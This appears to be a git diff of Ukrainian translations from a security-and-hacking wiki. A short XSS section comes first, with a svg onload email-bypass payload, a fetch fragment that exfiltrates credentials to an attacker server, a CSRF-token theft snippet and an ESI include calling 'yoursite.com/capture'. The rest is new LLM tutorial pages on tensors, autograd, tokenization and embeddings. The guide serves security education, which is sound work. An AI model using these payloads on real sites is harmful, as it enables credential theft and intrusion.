У цьому випадку ваш **вхід** буде **відображено всередині JS коду** файлу `.js` або між тегами `<script>...</script>` або між HTML подіями, які можуть виконувати JS код, або між атрибутами, які приймають протокол `javascript:`.
|
||||
|
||||
### Вихід з \<script> тегу
|
||||
|
||||
|
@ -735,8 +735,8 @@ top[8680439..toString(30)](1)
|
|||
````
|
||||
## **DOM вразливості**
|
||||
|
||||
Є **JS код**, який використовує **неконтрольовані дані, що контролюються зловмисником**, такі як `location.href`. Зловмисник може зловживати цим для виконання довільного JS коду.\
|
||||
**Через розширення пояснення** [**DOM вразливостей, воно було переміщено на цю сторінку**](dom-xss.md)**:**
|
||||
Є **JS код**, який використовує **неконтрольовані дані, що контролюються зловмисником**, такі як `location.href`. Зловмисник може зловживати цим, щоб виконати довільний JS код.\
|
||||
**Через розширення пояснення** [**DOM вразливостей, воно було переміщене на цю сторінку**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -773,7 +773,7 @@ top[8680439..toString(30)](1)
|
|||
|
||||
Ви могли б перевірити, чи **відображені значення** нормалізуються в **unicode** на сервері (або на стороні клієнта) і зловживати цією функціональністю, щоб обійти захист. [**Знайдіть приклад тут**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### PHP FILTER\_VALIDATE\_EMAIL обхід прапора
|
||||
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
|
@ -833,7 +833,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
|
||||
### Дійсні `<script>` Content-Types для XSS
|
||||
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви спробуєте завантажити скрипт з **content-type**, таким як `application/octet-stream`, Chrome видасть наступну помилку:
|
||||
(З [**тут**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Якщо ви спробуєте завантажити скрипт з **content-type** таким як `application/octet-stream`, Chrome видасть наступну помилку:
|
||||
|
||||
> Відмовлено у виконанні скрипту з ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') через те, що його MIME-тип (‘application/octet-stream’) не є виконуваним, і строгий контроль MIME-типів увімкнено.
|
||||
|
||||
|
@ -1006,7 +1006,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Аналогічно попередньому прикладу, можливо **використовувати обробники помилок**, щоб отримати доступ до **обгортки** модуля та отримати **`require`** функцію:
|
||||
Аналогічно попередньому прикладу, можливо **використовувати обробники помилок** для доступу до **обгортки** модуля та отримання **`require`** функції:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
|
@ -1217,7 +1217,7 @@ mode: 'no-cors',
|
|||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Коли будь-які дані вводяться у поле пароля, ім'я користувача та пароль надсилаються на сервер атакуючого, навіть якщо клієнт вибирає збережений пароль і нічого не вводить, облікові дані будуть ексфільтровані.
|
||||
Коли будь-які дані вводяться у поле пароля, ім'я користувача та пароль надсилаються на сервер зловмисника, навіть якщо клієнт вибирає збережений пароль і нічого не вводить, облікові дані будуть ексфільтровані.
|
||||
|
||||
### Keylogger
|
||||
|
||||
|
@ -1228,7 +1228,7 @@ body:username.value+':'+this.value
|
|||
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
* Ви також можете використовувати metasploit `http_javascript_keylogger`
|
||||
|
||||
### Викрадення CSRF токенів
|
||||
### Stealing CSRF tokens
|
||||
```javascript
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -1342,7 +1342,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### XSS до SSRF
|
||||
|
||||
Отримали XSS на **сайті, що використовує кешування**? Спробуйте **перетворити це на SSRF** через Edge Side Include Injection з цим payload:
|
||||
Отримали XSS на **сайті, який використовує кешування**? Спробуйте **перетворити це на SSRF** через Edge Side Include Injection з цим payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
|
@ -1358,7 +1358,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Якщо ви не можете вставити HTML теги, варто спробувати **вставити PDF дані**:
|
||||
Якщо ви не можете ввести HTML теги, варто спробувати **ввести PDF дані**:
|
||||
|
||||
{% content-ref url="pdf-injection.md" %}
|
||||
[pdf-injection.md](pdf-injection.md)
|
||||
|
@ -1370,7 +1370,7 @@ AMP, спрямований на прискорення продуктивнос
|
|||
|
||||
Формат [**AMP для електронної пошти**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) розширює специфічні AMP компоненти для електронних листів, дозволяючи отримувачам взаємодіяти з контентом безпосередньо в їхніх електронних листах.
|
||||
|
||||
Приклад [**опису XSS в Amp4Email в Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Приклад [**опису XSS в Amp4Email у Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS завантаження файлів (svg)
|
||||
|
||||
|
@ -1446,7 +1446,7 @@ id="foo"/>
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламуванні незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
|
282
todo/llm-training-data-preparation/0.-basic-llm-concepts.md
Normal file
|
@ -0,0 +1,282 @@
|
|||
# 0. Основні концепції LLM
|
||||
|
||||
## Попереднє навчання
|
||||
|
||||
Попереднє навчання є основною фазою в розробці великої мовної моделі (LLM), де модель піддається впливу величезних і різноманітних обсягів текстових даних. Під час цього етапу **LLM вивчає основні структури, шаблони та нюанси мови**, включаючи граматику, словниковий запас, синтаксис і контекстуальні зв'язки. Обробляючи ці обширні дані, модель набуває широкого розуміння мови та загальних знань про світ. Ця всебічна база дозволяє LLM генерувати зв'язний і контекстуально релевантний текст. Після цього попередньо навчена модель може пройти доопрацювання, де вона додатково навчається на спеціалізованих наборах даних, щоб адаптувати свої можливості для конкретних завдань або доменів, покращуючи свою продуктивність і релевантність у цільових застосуваннях.
|
||||
|
||||
## Основні компоненти LLM
|
||||
|
||||
Зазвичай LLM характеризується конфігурацією, що використовується для його навчання. Це загальні компоненти при навчанні LLM:
|
||||
|
||||
* **Параметри**: Параметри — це **навчальні ваги та зміщення** в нейронній мережі. Це числа, які процес навчання коригує для мінімізації функції втрат і покращення продуктивності моделі в завданні. LLM зазвичай використовують мільйони параметрів.
|
||||
* **Довжина контексту**: Це максимальна довжина кожного речення, що використовується для попереднього навчання LLM.
|
||||
* **Розмір векторного вкладу**: Розмір вектора, що використовується для представлення кожного токена або слова. LLM зазвичай використовують мільярди вимірів.
|
||||
* **Схований розмір**: Розмір прихованих шарів у нейронній мережі.
|
||||
* **Кількість шарів (глибина)**: Скільки шарів має модель. LLM зазвичай використовують десятки шарів.
|
||||
* **Кількість голів уваги**: У трансформерних моделях це кількість окремих механізмів уваги, що використовуються в кожному шарі. LLM зазвичай використовують десятки голів.
|
||||
* **Випадкове відключення**: Випадкове відключення — це щось на зразок відсотка даних, які видаляються (ймовірності стають 0) під час навчання, що використовується для **запобігання перенавчанню.** LLM зазвичай використовують від 0 до 20%.
|
||||
|
||||
Конфігурація моделі GPT-2:
|
||||
```json
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, // Vocabulary size of the BPE tokenizer
|
||||
"context_length": 1024, // Context length
|
||||
"emb_dim": 768, // Embedding dimension
|
||||
"n_heads": 12, // Number of attention heads
|
||||
"n_layers": 12, // Number of layers
|
||||
"drop_rate": 0.1, // Dropout rate: 10%
|
||||
"qkv_bias": False // Query-Key-Value bias
|
||||
}
|
||||
```
|
||||
## Tensors in PyTorch
|
||||
|
||||
В PyTorch **тензор** є основною структурою даних, яка слугує як багатовимірний масив, узагальнюючи концепції, такі як скаляри, вектори та матриці, до потенційно вищих вимірів. Тензори є основним способом представлення та маніпуляції даними в PyTorch, особливо в контексті глибокого навчання та нейронних мереж.
|
||||
|
||||
### Mathematical Concept of Tensors
|
||||
|
||||
* **Скалярі**: Тензори рангу 0, що представляють одне число (нульовий вимір). Наприклад: 5
|
||||
* **Вектори**: Тензори рангу 1, що представляють одновимірний масив чисел. Наприклад: \[5,1]
|
||||
* **Матриці**: Тензори рангу 2, що представляють двовимірні масиви з рядками та стовпцями. Наприклад: \[\[1,3], \[5,2]]
|
||||
* **Тензори вищого рангу**: Тензори рангу 3 або більше, що представляють дані у вищих вимірах (наприклад, 3D тензори для кольорових зображень).
|
||||
|
||||
### Tensors as Data Containers
|
||||
|
||||
З обчислювальної точки зору, тензори діють як контейнери для багатовимірних даних, де кожен вимір може представляти різні характеристики або аспекти даних. Це робить тензори надзвичайно придатними для обробки складних наборів даних у завданнях машинного навчання.
|
||||
|
||||
### PyTorch Tensors vs. NumPy Arrays
|
||||
|
||||
Хоча тензори PyTorch подібні до масивів NumPy у своїй здатності зберігати та маніпулювати числовими даними, вони пропонують додаткові функціональні можливості, які є критично важливими для глибокого навчання:
|
||||
|
||||
* **Автоматичне диференціювання**: Тензори PyTorch підтримують автоматичний розрахунок градієнтів (autograd), що спрощує процес обчислення похідних, необхідних для навчання нейронних мереж.
|
||||
* **Прискорення на GPU**: Тензори в PyTorch можуть бути переміщені на GPU та обчислені на них, що значно прискорює великомасштабні обчислення.
|
||||
|
||||
### Creating Tensors in PyTorch
|
||||
|
||||
Ви можете створити тензори, використовуючи функцію `torch.tensor`:
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
|
||||
# Scalar (0D tensor)
|
||||
tensor0d = torch.tensor(1)
|
||||
|
||||
# Vector (1D tensor)
|
||||
tensor1d = torch.tensor([1, 2, 3])
|
||||
|
||||
# Matrix (2D tensor)
|
||||
tensor2d = torch.tensor([[1, 2],
|
||||
[3, 4]])
|
||||
|
||||
# 3D Tensor
|
||||
tensor3d = torch.tensor([[[1, 2], [3, 4]],
|
||||
[[5, 6], [7, 8]]])
|
||||
```
|
||||
### Типи даних тензорів
|
||||
|
||||
Тензори PyTorch можуть зберігати дані різних типів, таких як цілі числа та числа з плаваючою комою. 
|
||||
|
||||
Ви можете перевірити тип даних тензора, використовуючи атрибут `.dtype`:
|
||||
```python
|
||||
tensor1d = torch.tensor([1, 2, 3])
|
||||
print(tensor1d.dtype) # Output: torch.int64
|
||||
```
|
||||
* Тензори, створені з цілих чисел Python, мають тип `torch.int64`.
|
||||
* Тензори, створені з чисел з плаваючою комою Python, мають тип `torch.float32`.
|
||||
|
||||
Щоб змінити тип даних тензора, використовуйте метод `.to()`:
|
||||
```python
|
||||
float_tensor = tensor1d.to(torch.float32)
|
||||
print(float_tensor.dtype) # Output: torch.float32
|
||||
```
|
||||
### Загальні операції з тензорами
|
||||
|
||||
PyTorch надає різноманітні операції для маніпуляції тензорами:
|
||||
|
||||
* **Доступ до форми**: Використовуйте `.shape`, щоб отримати розміри тензора.
|
||||
|
||||
```python
|
||||
print(tensor2d.shape) # Вихід: torch.Size([2, 2])
|
||||
```
|
||||
* **Зміна форми тензорів**: Використовуйте `.reshape()` або `.view()`, щоб змінити форму.
|
||||
|
||||
```python
|
||||
reshaped = tensor2d.reshape(4, 1)
|
||||
```
|
||||
* **Транспонування тензорів**: Використовуйте `.T`, щоб транспонувати 2D тензор.
|
||||
|
||||
```python
|
||||
transposed = tensor2d.T
|
||||
```
|
||||
* **Матричне множення**: Використовуйте `.matmul()` або оператор `@`.
|
||||
|
||||
```python
|
||||
result = tensor2d @ tensor2d.T
|
||||
```
|
||||
|
||||
### Важливість у глибокому навчанні
|
||||
|
||||
Тензори є основою в PyTorch для побудови та навчання нейронних мереж:
|
||||
|
||||
* Вони зберігають вхідні дані, ваги та зсуви.
|
||||
* Вони полегшують операції, необхідні для прямого та зворотного проходів у навчальних алгоритмах.
|
||||
* Завдяки autograd, тензори дозволяють автоматично обчислювати градієнти, спрощуючи процес оптимізації.
|
||||
|
||||
## Автоматичне диференціювання
|
||||
|
||||
Автоматичне диференціювання (AD) — це обчислювальна техніка, що використовується для **оцінки похідних (градієнтів)** функцій ефективно та точно. У контексті нейронних мереж AD дозволяє обчислювати градієнти, необхідні для **оптимізаційних алгоритмів, таких як градієнтний спуск**. PyTorch надає механізм автоматичного диференціювання під назвою **autograd**, який спрощує цей процес.
|
||||
|
||||
### Математичне пояснення автоматичного диференціювання
|
||||
|
||||
**1. Правило ланцюга**
|
||||
|
||||
В основі автоматичного диференціювання лежить **правило ланцюга** з математичного аналізу. Правило ланцюга стверджує, що якщо у вас є композиція функцій, то похідна складної функції є добутком похідних складових функцій.
|
||||
|
||||
Математично, якщо `y=f(u)` і `u=g(x)`, то похідна `y` по відношенню до `x` є:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2. Обчислювальний граф**
|
||||
|
||||
В AD обчислення представлені як вузли в **обчислювальному графі**, де кожен вузол відповідає операції або змінній. Пересуваючись цим графом, ми можемо ефективно обчислювати похідні.
|
||||
|
||||
3. Приклад
|
||||
|
||||
Розглянемо просту функцію:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Де:
|
||||
|
||||
* `σ(z)` — це сигмоїдальна функція.
|
||||
* `y=1.0` — це цільова мітка.
|
||||
* `L` — це втрата.
|
||||
|
||||
Ми хочемо обчислити градієнт втрати `L` по відношенню до ваги `w` та зсуву `b`.
|
||||
|
||||
**4. Обчислення градієнтів вручну**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**5. Чисельне обчислення**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Реалізація автоматичного диференціювання в PyTorch
|
||||
|
||||
Тепер давайте подивимося, як PyTorch автоматизує цей процес.
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
import torch.nn.functional as F
|
||||
|
||||
# Define input and target
|
||||
x = torch.tensor([1.1])
|
||||
y = torch.tensor([1.0])
|
||||
|
||||
# Initialize weights with requires_grad=True to track computations
|
||||
w = torch.tensor([2.2], requires_grad=True)
|
||||
b = torch.tensor([0.0], requires_grad=True)
|
||||
|
||||
# Forward pass
|
||||
z = x * w + b
|
||||
a = torch.sigmoid(z)
|
||||
loss = F.binary_cross_entropy(a, y)
|
||||
|
||||
# Backward pass
|
||||
loss.backward()
|
||||
|
||||
# Gradients
|
||||
print("Gradient w.r.t w:", w.grad)
|
||||
print("Gradient w.r.t b:", b.grad)
|
||||
```
|
||||
**Вихід:**
|
||||
```css
|
||||
cssCopy codeGradient w.r.t w: tensor([-0.0898])
|
||||
Gradient w.r.t b: tensor([-0.0817])
|
||||
```
|
||||
## Зворотне поширення в більших нейронних мережах
|
||||
|
||||
### **1. Розширення до багатошарових мереж**
|
||||
|
||||
У більших нейронних мережах з кількома шарами процес обчислення градієнтів стає більш складним через збільшену кількість параметрів і операцій. Однак основні принципи залишаються незмінними:
|
||||
|
||||
* **Прямий прохід:** Обчисліть вихід мережі, пропускаючи вхідні дані через кожен шар.
|
||||
* **Обчислити втрати:** Оцініть функцію втрат, використовуючи вихід мережі та цільові мітки.
|
||||
* **Зворотний прохід (зворотне поширення):** Обчисліть градієнти втрат щодо кожного параметра в мережі, застосовуючи правило ланцюга рекурсивно від вихідного шару до вхідного шару.
|
||||
|
||||
### **2. Алгоритм зворотного поширення**
|
||||
|
||||
* **Крок 1:** Ініціалізуйте параметри мережі (ваги та зміщення).
|
||||
* **Крок 2:** Для кожного навчального прикладу виконайте прямий прохід для обчислення виходів.
|
||||
* **Крок 3:** Обчисліть втрати.
|
||||
* **Крок 4:** Обчисліть градієнти втрат щодо кожного параметра, використовуючи правило ланцюга.
|
||||
* **Крок 5:** Оновіть параметри, використовуючи алгоритм оптимізації (наприклад, градієнтний спуск).
|
||||
|
||||
### **3. Математичне представлення**
|
||||
|
||||
Розгляньте просту нейронну мережу з одним прихованим шаром:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **4. Реалізація в PyTorch**
|
||||
|
||||
PyTorch спрощує цей процес за допомогою свого механізму autograd.
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
import torch.optim as optim
|
||||
|
||||
# Define a simple neural network
|
||||
class SimpleNet(nn.Module):
|
||||
def __init__(self):
|
||||
super(SimpleNet, self).__init__()
|
||||
self.fc1 = nn.Linear(10, 5) # Input layer to hidden layer
|
||||
self.relu = nn.ReLU()
|
||||
self.fc2 = nn.Linear(5, 1) # Hidden layer to output layer
|
||||
self.sigmoid = nn.Sigmoid()
|
||||
|
||||
def forward(self, x):
|
||||
h = self.relu(self.fc1(x))
|
||||
y_hat = self.sigmoid(self.fc2(h))
|
||||
return y_hat
|
||||
|
||||
# Instantiate the network
|
||||
net = SimpleNet()
|
||||
|
||||
# Define loss function and optimizer
|
||||
criterion = nn.BCELoss()
|
||||
optimizer = optim.SGD(net.parameters(), lr=0.01)
|
||||
|
||||
# Sample data
|
||||
inputs = torch.randn(1, 10)
|
||||
labels = torch.tensor([1.0])
|
||||
|
||||
# Training loop
|
||||
optimizer.zero_grad() # Clear gradients
|
||||
outputs = net(inputs) # Forward pass
|
||||
loss = criterion(outputs, labels) # Compute loss
|
||||
loss.backward() # Backward pass (compute gradients)
|
||||
optimizer.step() # Update parameters
|
||||
|
||||
# Accessing gradients
|
||||
for name, param in net.named_parameters():
|
||||
if param.requires_grad:
|
||||
print(f"Gradient of {name}: {param.grad}")
|
||||
```
|
||||
В цьому коді:
|
||||
|
||||
* **Прямий прохід:** Обчислює виходи мережі.
|
||||
* **Зворотний прохід:** `loss.backward()` обчислює градієнти втрат відносно всіх параметрів.
|
||||
* **Оновлення параметрів:** `optimizer.step()` оновлює параметри на основі обчислених градієнтів.
|
||||
|
||||
### **5. Розуміння зворотного проходу**
|
||||
|
||||
Під час зворотного проходу:
|
||||
|
||||
* PyTorch проходить через обчислювальний граф у зворотному порядку.
|
||||
* Для кожної операції застосовується правило ланцюга для обчислення градієнтів.
|
||||
* Градієнти накопичуються в атрибуті `.grad` кожного тензора параметра.
|
||||
|
||||
### **6. Переваги автоматичного диференціювання**
|
||||
|
||||
* **Ефективність:** Уникає надмірних обчислень, повторно використовуючи проміжні результати.
|
||||
* **Точність:** Надає точні похідні до машинної точності.
|
||||
* **Зручність використання:** Вилучає ручне обчислення похідних.
|
96
todo/llm-training-data-preparation/1.-tokenizing.md
Normal file
|
@ -0,0 +1,96 @@
|
|||
# 1. Токенізація
|
||||
|
||||
## Токенізація
|
||||
|
||||
**Токенізація** — це процес розподілу даних, таких як текст, на менші, керовані частини, які називаються _токенами_. Кожному токену присвоюється унікальний числовий ідентифікатор (ID). Це основний етап підготовки тексту для обробки моделями машинного навчання, особливо в обробці природної мови (NLP).
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього початкового етапу дуже проста: **Розділіть вхідні дані на токени (id) таким чином, щоб це мало сенс**.
|
||||
{% endhint %}
|
||||
|
||||
### **Як працює токенізація**
|
||||
|
||||
1. **Розділення тексту:**
|
||||
* **Базовий токенізатор:** Простий токенізатор може розділити текст на окремі слова та знаки пунктуації, видаляючи пробіли.
|
||||
* _Приклад:_\
|
||||
Текст: `"Привіт, світе!"`\
|
||||
Токени: `["Привіт", ",", "світе", "!"]`
|
||||
2. **Створення словника:**
|
||||
* Щоб перетворити токени на числові ID, створюється **словник**. Цей словник містить усі унікальні токени (слова та символи) і присвоює кожному конкретний ID.
|
||||
* **Спеціальні токени:** Це спеціальні символи, додані до словника для обробки різних сценаріїв:
|
||||
* `[BOS]` (Початок послідовності): Вказує на початок тексту.
|
||||
* `[EOS]` (Кінець послідовності): Вказує на кінець тексту.
|
||||
* `[PAD]` (Доповнення): Використовується для того, щоб усі послідовності в партії мали однакову довжину.
|
||||
* `[UNK]` (Невідомий): Представляє токени, які не входять до словника.
|
||||
* _Приклад:_\
|
||||
Якщо `"Привіт"` отримує ID `64`, `","` — `455`, `"світе"` — `78`, а `"!"` — `467`, тоді:\
|
||||
`"Привіт, світе!"` → `[64, 455, 78, 467]`
|
||||
* **Обробка невідомих слів:**\
|
||||
Якщо слово, наприклад, `"Бувай"`, не входить до словника, його замінюють на `[UNK]`.\
|
||||
`"Бувай, світе!"` → `["[UNK]", ",", "світе", "!"]` → `[987, 455, 78, 467]`\
|
||||
_(Припускаючи, що `[UNK]` має ID `987`)_
|
||||
|
||||
### **Розширені методи токенізації**
|
||||
|
||||
Хоча базовий токенізатор добре працює для простих текстів, він має обмеження, особливо з великими словниками та обробкою нових або рідкісних слів. Розширені методи токенізації вирішують ці проблеми, розбиваючи текст на менші підодиниці або оптимізуючи процес токенізації.
|
||||
|
||||
1. **Кодування пар байтів (BPE):**
|
||||
* **Мета:** Зменшує розмір словника та обробляє рідкісні або невідомі слова, розбиваючи їх на часто вживані пари байтів.
|
||||
* **Як це працює:**
|
||||
* Починає з окремих символів як токенів.
|
||||
* Ітеративно об'єднує найбільш часті пари токенів в один токен.
|
||||
* Продовжує, поки не залишиться жодних частих пар, які можна об'єднати.
|
||||
* **Переваги:**
|
||||
* Вилучає необхідність у токені `[UNK]`, оскільки всі слова можуть бути представлені шляхом об'єднання існуючих підсловникових токенів.
|
||||
* Більш ефективний і гнучкий словник.
|
||||
* _Приклад:_\
|
||||
`"граючи"` може бути токенізовано як `["грати", "ючи"]`, якщо `"грати"` та `"ючи"` є частими підсловами.
|
||||
2. **WordPiece:**
|
||||
* **Використовується:** Моделями, такими як BERT.
|
||||
* **Мета:** Подібно до BPE, розбиває слова на підсловникові одиниці для обробки невідомих слів і зменшення розміру словника.
|
||||
* **Як це працює:**
|
||||
* Починає з базового словника окремих символів.
|
||||
* Ітеративно додає найбільш часте підслово, яке максимізує ймовірність навчальних даних.
|
||||
* Використовує ймовірнісну модель для визначення, які підслова об'єднувати.
|
||||
* **Переваги:**
|
||||
* Балансує між наявністю керованого розміру словника та ефективним представленням слів.
|
||||
* Ефективно обробляє рідкісні та складні слова.
|
||||
* _Приклад:_\
|
||||
`"незадоволеність"` може бути токенізовано як `["незадоволеність"]` або `["не", "задоволений", "ість"]` залежно від словника.
|
||||
3. **Модель мови Unigram:**
|
||||
* **Використовується:** Моделями, такими як SentencePiece.
|
||||
* **Мета:** Використовує ймовірнісну модель для визначення найбільш ймовірного набору підсловникових токенів.
|
||||
* **Як це працює:**
|
||||
* Починає з великого набору потенційних токенів.
|
||||
* Ітеративно видаляє токени, які найменше покращують ймовірність моделі навчальних даних.
|
||||
* Завершує словник, де кожне слово представлено найбільш ймовірними підсловниковими одиницями.
|
||||
* **Переваги:**
|
||||
* Гнучка і може моделювати мову більш природно.
|
||||
* Часто призводить до більш ефективних і компактних токенізацій.
|
||||
* _Приклад:_\
|
||||
`"міжнародна діяльність"` може бути токенізовано на менші, значущі підслова, такі як `["міжнародна", "діяльність"]`.
|
||||
|
||||
## Приклад коду
|
||||
|
||||
Давайте зрозуміємо це краще з прикладу коду з [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Download a text to pre-train the model
|
||||
import urllib.request
|
||||
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
|
||||
file_path = "the-verdict.txt"
|
||||
urllib.request.urlretrieve(url, file_path)
|
||||
|
||||
with open("the-verdict.txt", "r", encoding="utf-8") as f:
|
||||
raw_text = f.read()
|
||||
|
||||
# Tokenize the code using GPT2 tokenizer version
|
||||
import tiktoken
|
||||
token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]"
|
||||
|
||||
# Print first 50 tokens
|
||||
print(token_ids[:50])
|
||||
#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11]
|
||||
```
|
||||
## References
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
204
todo/llm-training-data-preparation/3.-token-embeddings.md
Normal file
|
@ -0,0 +1,204 @@
|
|||
# 3. Token Embeddings
|
||||
|
||||
## Token Embeddings
|
||||
|
||||
Після токенізації текстових даних наступним критичним кроком у підготовці даних для навчання великих мовних моделей (LLMs) таких як GPT є створення **token embeddings**. Token embeddings перетворюють дискретні токени (такі як слова або підслова) у безперервні числові вектори, які модель може обробляти та навчатися на них. Це пояснення розкриває token embeddings, їх ініціалізацію, використання та роль позиційних embeddings у покращенні розуміння моделі послідовностей токенів.
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього третього етапу дуже проста: **Призначити кожному з попередніх токенів у словнику вектор бажаних розмірностей для навчання моделі.** Кожне слово в словнику буде точкою в просторі X вимірів.\
|
||||
Зверніть увагу, що спочатку позиція кожного слова в просторі просто ініціалізується "випадковим чином", і ці позиції є параметрами, що підлягають навчання (будуть покращені під час навчання).
|
||||
|
||||
Більше того, під час **token embedding створюється ще один шар embeddings**, який представляє (в цьому випадку) **абсолютну позицію слова в навчальному реченні**. Таким чином, слово в різних позиціях у реченні матиме різне представлення (значення).
|
||||
{% endhint %}
|
||||
|
||||
### **What Are Token Embeddings?**
|
||||
|
||||
**Token Embeddings** є числовими представленнями токенів у безперервному векторному просторі. Кожен токен у словнику асоціюється з унікальним вектором фіксованих розмірностей. Ці вектори захоплюють семантичну та синтаксичну інформацію про токени, що дозволяє моделі розуміти відносини та шаблони в даних.
|
||||
|
||||
* **Vocabulary Size:** Загальна кількість унікальних токенів (наприклад, слів, підслів) у словнику моделі.
|
||||
* **Embedding Dimensions:** Кількість числових значень (вимірів) у векторі кожного токена. Вищі виміри можуть захоплювати більш тонку інформацію, але вимагають більше обчислювальних ресурсів.
|
||||
|
||||
**Example:**
|
||||
|
||||
* **Vocabulary Size:** 6 токенів \[1, 2, 3, 4, 5, 6]
|
||||
* **Embedding Dimensions:** 3 (x, y, z)
|
||||
|
||||
### **Initializing Token Embeddings**
|
||||
|
||||
На початку навчання token embeddings зазвичай ініціалізуються з малими випадковими значеннями. Ці початкові значення коригуються (доладно налаштовуються) під час навчання, щоб краще представляти значення токенів на основі навчальних даних.
|
||||
|
||||
**PyTorch Example:**
|
||||
```python
|
||||
import torch
|
||||
|
||||
# Set a random seed for reproducibility
|
||||
torch.manual_seed(123)
|
||||
|
||||
# Create an embedding layer with 6 tokens and 3 dimensions
|
||||
embedding_layer = torch.nn.Embedding(6, 3)
|
||||
|
||||
# Display the initial weights (embeddings)
|
||||
print(embedding_layer.weight)
|
||||
```
|
||||
**Вихід:**
|
||||
```lua
|
||||
luaCopy codeParameter containing:
|
||||
tensor([[ 0.3374, -0.1778, -0.1690],
|
||||
[ 0.9178, 1.5810, 1.3010],
|
||||
[ 1.2753, -0.2010, -0.1606],
|
||||
[-0.4015, 0.9666, -1.1481],
|
||||
[-1.1589, 0.3255, -0.6315],
|
||||
[-2.8400, -0.7849, -1.4096]], requires_grad=True)
|
||||
```
|
||||
**Пояснення:**
|
||||
|
||||
* Кожен рядок відповідає токену в словнику.
|
||||
* Кожен стовпець представляє вимір у векторі вбудовування.
|
||||
* Наприклад, токен з індексом `3` має вектор вбудовування `[-0.4015, 0.9666, -1.1481]`.
|
||||
|
||||
**Доступ до вбудовування токена:**
|
||||
```python
|
||||
# Retrieve the embedding for the token at index 3
|
||||
token_index = torch.tensor([3])
|
||||
print(embedding_layer(token_index))
|
||||
```
|
||||
**Вихід:**
|
||||
```lua
|
||||
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
```
|
||||
**Інтерпретація:**
|
||||
|
||||
* Токен з індексом `3` представлений вектором `[-0.4015, 0.9666, -1.1481]`.
|
||||
* Ці значення є параметрами, що підлягають навчання, які модель буде коригувати під час навчання, щоб краще відобразити контекст і значення токена.
|
||||
|
||||
### **Як працюють токенні вектори під час навчання**
|
||||
|
||||
Під час навчання кожен токен у вхідних даних перетворюється на відповідний вектор вбудовування. Ці вектори потім використовуються в різних обчисленнях у моделі, таких як механізми уваги та шари нейронних мереж.
|
||||
|
||||
**Приклад сценарію:**
|
